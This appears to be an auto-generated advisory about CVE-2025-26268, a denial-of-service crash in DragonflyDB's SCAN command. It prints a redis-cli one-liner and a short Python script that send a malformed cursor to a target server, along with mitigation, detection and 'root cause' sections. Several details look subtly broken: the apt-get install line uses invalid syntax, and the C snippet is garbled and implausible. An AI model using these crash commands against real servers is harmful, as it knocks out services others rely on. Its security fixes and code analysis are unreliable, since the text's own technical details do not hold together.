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How CVE-2025-26268 Works
CVE-2025-26268 affects DragonflyDB versions before 1.27.0, allowing authenticated users to crash the daemon via a malicious Redis command. The vulnerability stems from improper validation of the scan cursor parameter in Redis commands. When a crafted request with an invalid cursor is processed, DragonflyDB fails to handle the exception, leading to a segmentation fault and service termination. This flaw specifically impacts the `SCAN` command implementation, where boundary checks are missing, enabling attackers to trigger a DoS condition.
DailyCVE Form:
Platform: DragonflyDB
Version: <1.27.0
Vulnerability: DoS via Redis command
Severity: Medium
Date: 04/25/2025
What Undercode Say:
Exploitation:
1. Payload Example:
redis-cli -h <target> -p 6379 SCAN "invalid_cursor"
2. Python Exploit Script:
import redis
r = redis.Redis(host='<target>', port=6379)
r.execute_command('SCAN', 'malformed_input')
Mitigation:
1. Patch Upgrade:
sudo apt-get update && sudo apt-get install dragonflydb>=1.27.0
2. Network Controls:
iptables -A INPUT -p tcp --dport 6379 -j DROP
3. Workaround: Disable `SCAN` for untrusted users via ACL:
ACL SETUSER restricted -SCAN
Detection:
1. Log Monitoring:
grep "segmentation fault" /var/log/dragonfly.log
2. Debugging:
gdb -p $(pidof dragonfly) -ex "bt full" -ex "quit"
Analysis:
- Crash Root Cause:
void process_scan_command() { // Missing cursor validation char cursor = get_cursor_arg(); // No bounds check ... } - Impact: High availability loss, low privilege requirement.
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
